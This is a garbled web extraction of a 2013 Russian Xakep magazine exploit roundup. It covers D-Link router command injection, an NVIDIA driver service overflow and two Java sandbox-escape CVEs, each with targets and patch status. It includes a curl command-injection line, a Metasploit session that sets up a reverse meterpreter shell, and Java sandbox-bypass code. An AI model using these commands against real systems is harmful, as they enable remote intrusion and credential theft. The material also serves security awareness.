ßàØÃÂâÕàë áÕÓÞÔÃÂï - Xakep Online
ßàØÃÂâÕàë áÕÓÞÔÃÂï - Xakep Online
ßàØÃÂâÕàë áÕÓÞÔÃÂï - Xakep Online
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
66ХАКЕР 04 /171/ 2013с большим количеством атак на Java, в интернете появилось много статей,как описывающих отключение Java-плагинов в своих браузерах, так и простопризывающих к этому. Уязвимость существует в методе com.sun.jmx.mbeanserver.MBeanInstantiator.findClass Java-апплета и дает возможностьобойти песочницу и запустить произвольный Java-код, так как сам метод позволяетполучить ссылки на любой класс.EXPLOIT. Эксплуатация с помощью Metasploit не составляет труда и содержитполезную нагрузку для всех популярных ОС: Windows, Linux, OS X.Результат работы эксплойта для фряшного FTPdcurl --data "cmd=cat /var/passwd" http:///command.phpА так как в некоторых версиях устройства пароль администратора хранитсяобычным текстом, то получить права администратора атакующемуне составит труда. Также в интернете можно найти эксплойты от этого авторадля других моделей устройств D-Link, а также для железок других вендоров,например TP-LINK: is.gd/0BIbyC.TARGETSDIR-300: Версия прошивки: 2.12 — 18.01.2012; 2.13 — 07.11.2012DIR-600: Версия прошивки: 2.12b02 — 17.01.2012; 2.13b01 — 07.11.2012;2.14b01 — 22.01.2013SOLUTION. Патча от разработчика пока не поступало.NVIDIA DISPLAY DRIVER SERVICE (NSVR) EXPLOITCVSSv2:Дата релиза:Автор:CVE:N/A25 декабря 2012 года@peterwintrsmithN/AНеплохой подарок к Новому году как раз после «конца света» сделал пользовательPeterwintrsmith, который нашел уязвимость в… видеодрайвере. Даеще и опубликовал исходники на pastebin до патча вендора, который смог закрытьуязвимость только в январе этого года.EXPLOIT. Уязвимость стара как мир — переполнение буфера — и находитсяв службе NVIDIA Display Driver Service, прослушивающей именованный канал(named pipe) \pipe\nsvr, который сконфигурирован с флагом NULL DACL,что позволяет обращаться к нему любому пользователю Windows-системы.А переполнение буфера, в свою очередь, возникает в результате неправильногопереноса данных с помощью функции memmove.Сам эксплойт написан в олдскульном стиле на С++, и для его запуска придетсяобратиться к компилятору. Для удачной атаки потребуется локальный/доменный доступ к машине. По умолчанию полезная нагрузка создает новогопользователя r00t с паролем r00t00r.Исходники эксплойта — is.gd/MfuPBL.TARGETS. До 310.90.SOLUTION. Доступно обновление с исправлением данной ошибки от производителя.JAVA APPLET JMX REMOTECODE EXECUTION 0-DAYCVSSv29.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)Дата релиза: 10 января 2013 годаАвтор:неизвестенCVE: 2013-0422Первоначально исходники эксплойта (is.gd/fRJ5PL) были выложенына сервисе pastebin со ссылкой на форум damagelab и пометкой «FromRussia with love». Уже на следующий день появился полноценный модульдля Metasploit. Данная уязвимость использовалась всеми популярными эксплойт-пакамиеще до того, как был выпущен соответствующий патч. В связиmsf > use exploit/multi/browser/java_jre17_jmxbeanmsf exploit(java_jre17_jmxbean) > set TARGET 1msf exploit(java_jre17_jmxbean) > set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(java_jre17_jmxbean) > set LHOST 192.168.24.141msf exploit(java_jre17_jmxbean) > exploitБолее подробно про уязвимость можно прочитать в whitepaper от Immunity:bit.ly/Udtya2.TARGETS. Java 7ux–7u10 включительно.SOLUTION. Доступно обновление с исправлением данной ошибки от производителя.УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В JAVAAPPLET METHOD HANDLECVSSv210 (AV:R/AC:L/Au:N/C:C/I:C/A:C)Дата релиза: 24 января 2013 годаАвтор:неизвестенCVE: 2012-5088Уязвимость существует в функции java.lang.invoke.MethodHandle.invokeWithArguments. При создании сплоита мы делаем из нее «обертку»для метода invokeExact, который поддерживается тем же классом —MethodHandle.public Object invokeWithArguments(Object... arguments)throws Throwable {int argc = arguments == null ? 0 : arguments.length;MethodType type = type();if (type.parameterCount() != argc ||isVarargsCollector()) {// Симулируем invokereturn asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments);}MethodHandle invoker = type.invokers().varargsInvoker();return invoker.invokeExact(this, arguments);}Судя по документу bit.ly/Xyklwf, это позволяет обойти проверку безопасности,определенную при прямом вызове. Это можно использовать для ограниченногосписка классов, например как здесь:MethodHandles.Lookup localLookup = MethodHandles.publicLookup();MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });Рассмотрим проверку безопасности в методе Class.forName():